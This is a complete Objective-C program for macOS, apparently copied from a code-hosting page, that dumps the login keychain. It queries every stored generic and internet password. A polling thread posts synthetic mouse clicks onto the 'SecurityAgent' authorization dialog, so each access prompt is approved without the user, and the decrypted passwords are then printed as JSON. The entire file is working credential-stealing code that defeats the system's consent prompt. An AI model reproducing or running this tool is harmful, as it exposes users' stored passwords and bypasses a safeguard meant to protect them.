162 lines
5.0 KiB
Objective-C
162 lines
5.0 KiB
Objective-C
// gcc dump.m -framework CoreFoundation -framework Security -framework Cocoa -o dump
|
|
|
|
#import <Cocoa/Cocoa.h>
|
|
#import <CoreFoundation/CoreFoundation.h>
|
|
#import <Security/Security.h>
|
|
#include <ApplicationServices/ApplicationServices.h>
|
|
#include <unistd.h>
|
|
#include <pthread.h>
|
|
|
|
#define TIMEOUT 3
|
|
|
|
void click(float x, float y) {
|
|
|
|
CGEventRef move1 = CGEventCreateMouseEvent(
|
|
NULL, kCGEventMouseMoved,
|
|
CGPointMake(x, y),
|
|
kCGMouseButtonLeft // ignored
|
|
);
|
|
CGEventRef click1_down = CGEventCreateMouseEvent(
|
|
NULL, kCGEventLeftMouseDown,
|
|
CGPointMake(x, y),
|
|
kCGMouseButtonLeft
|
|
);
|
|
CGEventRef click1_up = CGEventCreateMouseEvent(
|
|
NULL, kCGEventLeftMouseUp,
|
|
CGPointMake(x, y),
|
|
kCGMouseButtonLeft
|
|
);
|
|
|
|
CGEventPost(kCGHIDEventTap, move1);
|
|
CGEventPost(kCGHIDEventTap, click1_down);
|
|
CGEventPost(kCGHIDEventTap, click1_up);
|
|
|
|
// Release the events
|
|
CFRelease(move1);
|
|
CFRelease(click1_up);
|
|
CFRelease(click1_down);
|
|
}
|
|
|
|
void parse_windows(int offx, int offy) {
|
|
CFArrayRef windowList = CGWindowListCopyWindowInfo(kCGWindowListOptionOnScreenOnly, kCGNullWindowID);
|
|
for (NSMutableDictionary* entry in (NSArray*)windowList)
|
|
{
|
|
CGRect rect;
|
|
NSString* ownerName = [entry objectForKey:(id)kCGWindowOwnerName];
|
|
if ([ownerName isEqualToString: @"SecurityAgent"]) {
|
|
CFDictionaryRef bounds = (CFDictionaryRef)[entry objectForKey:(id)kCGWindowBounds];
|
|
CGRectMakeWithDictionaryRepresentation(bounds, &rect);
|
|
float spotx = rect.origin.x + 385 + offx;
|
|
float spoty = rect.origin.y + rect.size.height - 25 + offy;
|
|
click(spotx, spoty);
|
|
}
|
|
|
|
}
|
|
CFRelease(windowList);
|
|
}
|
|
|
|
void poll_ui() {
|
|
while(1) {
|
|
sleep(0.0001);
|
|
parse_windows(0, 0);
|
|
}
|
|
}
|
|
|
|
id tQuery = NULL;
|
|
CFTypeRef result = NULL;
|
|
|
|
void prompt() {
|
|
SecItemCopyMatching((__bridge CFDictionaryRef)tQuery, &result);
|
|
}
|
|
|
|
void dump(NSArray *refs) {
|
|
NSData *jsonData = [NSJSONSerialization dataWithJSONObject: refs
|
|
options:NSJSONWritingPrettyPrinted // Pass 0 if you don't care about the readability of the generated string
|
|
error: NULL];
|
|
[jsonData writeToFile: @"/dev/stdout" atomically: NO];
|
|
}
|
|
|
|
int main() {
|
|
pthread_t thread_prompt, thread_click;
|
|
NSArray *secItemClasses = [NSArray arrayWithObjects:
|
|
(__bridge id)kSecClassGenericPassword,
|
|
(__bridge id)kSecClassInternetPassword,
|
|
nil];
|
|
NSMutableDictionary *query = [NSMutableDictionary dictionaryWithObjectsAndKeys:
|
|
(__bridge id)kSecMatchLimitAll, (__bridge id)kSecMatchLimit,
|
|
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnAttributes,
|
|
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnRef,
|
|
nil];
|
|
NSMutableArray *refs = [NSMutableArray new];
|
|
for (id secItemClass in secItemClasses) {
|
|
[query setObject:secItemClass forKey:(__bridge id)kSecClass];
|
|
|
|
CFTypeRef result1 = NULL;
|
|
SecItemCopyMatching((__bridge CFDictionaryRef)query, &result1);
|
|
NSArray *data = (__bridge NSArray*)result1;
|
|
if (data) {
|
|
for (NSDictionary *item in data) {
|
|
if (!item) continue;
|
|
NSMutableDictionary *newItem = [NSMutableDictionary new];
|
|
for (NSString* key in item) {
|
|
[newItem setObject:[[item objectForKey: key] description] forKey: key];
|
|
}
|
|
[newItem setObject:[item objectForKey: @"v_Ref"] forKey: @"v_Ref"];
|
|
[refs addObject: newItem];
|
|
}
|
|
if (result1 != NULL) CFRelease(result1);
|
|
}
|
|
}
|
|
|
|
NSMutableArray *all = [NSMutableArray new];
|
|
for (id ref in refs) {
|
|
tQuery = [NSMutableDictionary dictionaryWithObjectsAndKeys:
|
|
(__bridge id)[ref objectForKey: @"v_Ref"], (__bridge id)kSecValueRef,
|
|
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnData,
|
|
nil];
|
|
for (id secItemClass in secItemClasses) {
|
|
[tQuery setObject:secItemClass forKey:(__bridge id)kSecClass];
|
|
|
|
result = NULL;
|
|
pthread_create(&thread_click, NULL, (void*)poll_ui, NULL);
|
|
pthread_create(&thread_prompt, NULL, (void*)prompt, NULL);
|
|
|
|
time_t end = time(NULL) + TIMEOUT;
|
|
int found = 0;
|
|
while(time(NULL) < end) {
|
|
if (result != NULL) {
|
|
found = 1;
|
|
break;
|
|
}
|
|
sleep(0.1);
|
|
}
|
|
|
|
pthread_cancel(thread_click);
|
|
pthread_cancel(thread_prompt);
|
|
|
|
[ref removeObjectForKey: @"v_Ref"];
|
|
|
|
// we didnt find anything in TIMEOUT seconds. this can happen if the keychain
|
|
// is locked
|
|
if (!found) {
|
|
parse_windows(-80, 0); // click cancel
|
|
dump(all); // get out now
|
|
return 0;
|
|
}
|
|
|
|
NSString *pass = @"(null)";
|
|
if (result && [result bytes]) {
|
|
pass = [NSString stringWithUTF8String:[result bytes]];
|
|
if (!pass) pass = @"(null)";
|
|
} else {
|
|
pass = @"(null)";
|
|
}
|
|
[ref setObject:pass forKey: @"Private"];
|
|
[all addObject: ref];
|
|
}
|
|
}
|
|
|
|
dump(all);
|
|
return 0;
|
|
}
|